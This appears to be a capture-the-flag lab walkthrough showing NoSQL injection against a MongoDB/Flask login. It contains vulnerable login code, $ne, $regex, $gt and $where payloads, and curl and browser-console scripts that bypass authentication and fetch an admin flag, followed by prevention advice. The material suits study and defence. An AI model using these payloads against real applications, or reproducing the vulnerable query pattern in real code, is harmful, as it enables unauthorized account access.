A modern user management system relies on MongoDB for secure data storage, implementing document-based authentication and user profiles. But when JSON queries meet insufficient input sanitization, even the most flexible NoSQL databases can become vulnerable to injection attacks. 🎯 Time to test your NoSQL exploitation skills against cutting-edge database technology!
NoSQL injection occurs when user input is directly incorporated into database queries without proper sanitization. Unlike SQL injection, NoSQL injection exploits the flexible query structure of document databases like MongoDB, often using JSON operators and query manipulation.
db.users.find({"username": "admin", "password": "secret"})db.users.find({"username": user_input, "password": pass_input})db.users.find({"username": {"$ne": null}, "password": {"$ne": null}})Navigate to
Test Credentials:
testuser, password: password123The application constructs MongoDB queries by directly incorporating user input:
# VULNERABLE: Direct incorporation of user input
query = {
"username": request.json.get('username'),
"password": request.json.get('password')
}
user = db.users.find_one(query)This construction allows attackers to inject MongoDB operators and manipulate query logic.
# Inject $ne (not equal) operator
{
"username": {"$ne": null},
"password": {"$ne": null}
}
# This matches any user with non-null credentials# Inject $regex operator
{
"username": {"$regex": ".*"},
"password": {"$regex": ".*"}
}
# This matches any username and passwordThe most effective NoSQL injection payload uses the $ne (not equal) operator:
POST /api/loginContent-Type: application/json{
"username": {"$ne": null},
"password": {"$ne": null}
}How this works:
db.users.find({"username": {"$ne": null}, "password": {"$ne": null}})$ne: null condition matches any document where the field is not null# Execute NoSQL injection
curl -X POST /api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}' \
-c cookies.txt
# Expected response:
# {"message":"Login successful","user":"admin"} # Check if we gained admin privileges
curl -X GET /api/admin/users \
-b cookies.txt
# Should return user list if admin access gained With admin privileges gained through NoSQL injection, access the flag:
# Access admin flag endpoint
curl -X GET /api/admin/flag -b cookies.txt
# Expected response:
{
"flag": "[FLAG_UUID_HERE]",
"message": "Congratulations! You have successfully exploited the NoSQL injection vulnerability.",
"admin_user": "admin"
} # Using $gt (greater than)
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
# Matches users with non-empty strings# Using $exists operator
{
"username": {"$exists": true},
"password": {"$exists": true}
}
# Matches users where fields exist# Using $in operator
{
"username": {"$in": ["admin", "root", "user"]},
"password": {"$ne": null}
}
# Targets specific usernamesYou can also exploit this using browser developer tools:
// NoSQL injection via browser console
fetch('/api/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
username: {$ne: null},
password: {$ne: null}
})
})
.then(r => r.json())
.then(data => {
console.log('Login result:', data);
// If successful, get the flag
return fetch('/api/admin/flag');
})
.then(r => r.json())
.then(flag => console.log('Flag:', flag));MongoDB queries use JSON-like syntax with special operators:
| Operator | Description | Example |
|---|---|---|
$ne | Not equal | {"field": {"$ne": "value"}} |
$gt | Greater than | {"age": {"$gt": 18}} |
$lt | Less than | {"age": {"$lt": 65}} |
$in | In array | {"role": {"$in": ["admin", "user"]}} |
$regex | Regular expression | {"name": {"$regex": "^A.*"}} |
$exists | Field exists | {"email": {"$exists": true}} |
$or | Logical OR | {"$or": [{"a": 1}, {"b": 2}]} |
# Extract username character by character
{
"username": {"$regex": "^a.*"},
"password": {"$ne": null}
}
# Test if username starts with 'a'# Using $where for JavaScript execution
{
"$where": "sleep(5000) || true",
"username": "admin"
}
# Causes 5-second delay if vulnerableUsing Burp Suite for systematic testing:
The vulnerability exists because:
# VULNERABLE Flask code
@app.route('/api/login', methods=['POST'])
def login():
data = request.get_json()
# Direct incorporation of user input - DANGEROUS!
query = {
'username': data.get('username'),
'password': data.get('password')
}
user = db.users.find_one(query)
if user:
session['user'] = user['username']
return jsonify({'message': 'Login successful', 'user': user['username']})
return jsonify({'error': 'Invalid credentials'}), 401Key vulnerability factors:
NoSQL injection vulnerabilities can lead to:
To prevent NoSQL injection vulnerabilities:
$ne, $gt, $lt, $gte, $lte, $in, $nin, $regex, $where, $exists, $or, $and, $not/api/admin/flag after successfully exploiting NoSQL injection to bypass authentication and gain admin privileges. The complete attack chain: NoSQL Inject → Bypass Auth → Gain Admin → Retrieve Flag.Enter your email to continue
Choose a username to get started
We've sent a 9-character code to your email